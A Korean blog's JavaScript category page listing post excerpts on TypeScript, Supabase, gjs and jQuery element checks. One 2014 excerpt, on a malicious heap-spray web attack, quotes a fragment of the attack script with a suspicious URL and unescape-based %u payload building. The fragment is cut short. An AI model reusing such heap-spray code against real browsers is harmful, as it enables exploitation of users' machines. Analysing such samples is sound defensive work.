본문 바로가기

Javascript24

728x90
자바스크립트 슈퍼셋 정적 타입 검사 기능 확장 TypeScript 활용 Java와 TypeScript은 서로 다른 프로그래밍 언어입니다. Java는 객체지향 프로그래밍 언어이며, 주로 서버 측 애플리케이션 개발에 사용됩니다. 반면 TypeScript는 Microsoft에서 개발한 프로그래밍 언어로, JavaScript의 확장이며 정적 타입을 지원하는 언어입니다. TypeScript는 JavaScript의 슈퍼셋으로, JavaScript의 기능을 포함하면서 추가적인 정적 타입 검사와 클래스 기반 객체지향 프로그래밍을 지원합니다. 이는 개발자가 코드를 더 안전하게 유지하고 복잡한 프로젝트를 더 쉽게 유지보수할 수 있도록 도와줍니다. Java와 TypeScript은 주로 다른 분야에서 사용되지만, 웹 개발 분야에서는 TypeScript가 JavaScript의 확장으로 많이 사용되.. 2023. 12. 30.
API와 DB 구축에 복잡한 설정을 Supabase로 관리 최소화 Supabase는 데이터베이스와 인증, 리얼타임 기능을 포함한 서버리스 백엔드 서비스를 제공하는 오픈 소스 플랫폼입니다. Supabase는 PostgreSQL을 기반으로 하며, 프론트엔드와 통합하여 개발자가 빠르게 웹 애플리케이션을 개발할 수 있도록 도와줍니다. 또한 Supabase는 Elixir 언어로 작성된 Phoenix 웹 프레임워크를 기반으로 하고 있습니다. Supabase의 핵심 기능은 다음과 같습니다. PostgreSQL 데이터베이스: Supabase는 강력하고 확장 가능한 PostgreSQL 데이터베이스를 기반으로 합니다. 실시간 데이터: Supabase는 실시간 데이터 동기화를 제공하여 데이터베이스의 변경 사항을 실시간으로 프론트엔드에 반영할 수 있습니다. 인증 및 사용자 관리: 사용자 인.. 2023. 12. 28.
gjs : GNOME JavaScript gjs는 GNOME JavaScript의 약자로, GNOME 데스크탑 환경에서 JavaScript를 사용하여 애플리케이션을 개발할 수 있는 도구입니다. GNOME은 리눅스 기반의 데스크탑 환경으로 널리 사용되며, gjs는 GNOME 환경에서 사용되는 스크립팅 언어로 JavaScript를 기반으로 합니다. gjs를 사용하면 GNOME 데스크탑에서 자체 애플리케이션을 개발할 수 있으며, GNOME 라이브러리와 플랫폼 기능에 접근하여 확장할 수 있습니다. gjs는 GNOME Shell 확장 프로그램, GNOME 앱 개발, GNOME 패널 앱렛, 시스템 관리 도구 등 다양한 용도로 사용될 수 있습니다. gjs는 SpiderMonkey JavaScript 엔진을 기반으로 동작하며, GNOME 라이브러리와 상호 작.. 2023. 7. 13.
jQuery와 JavaScript로 요소(element)가 있는지 확인 페이지 내에서 특정한 객체 요소가 있는지 확인할 수가 있습니다. jQuery에서 요소가 있는지 .length 속성을 사용해서 확인 합니다. if ($('#elem').length) { alert('elem exists'); } 자바스크립트(JavaScript)에서는 getElementById() 함수를 사용하여 해당 Id의 요소가 있는지(exists) 확인 합니다. if (document.getElementById('elem')) { alert('elem exists'); } getElementById() 함수를 사용하여 DOM에서 요소의 존재 여부 확인 getElementById() 함수를 사용하여 요소의 Id를 사용하여 DOM에 요소가 있는지 확인할 수 있습니다. 다음 예에서는 Click Here 여.. 2021. 4. 10.
Web Attack: Malicious Javascript Heap Spray Generic 공격 z-z.so/xml.php?q=1337            function Suck(dword) {                var t = unescape;                var d = Number(dword).toString(16);                while (d.length                 return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));            }           function setc() {               var Then = new Date()               Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 3)            .. 2014. 5. 16.
728x90
728x90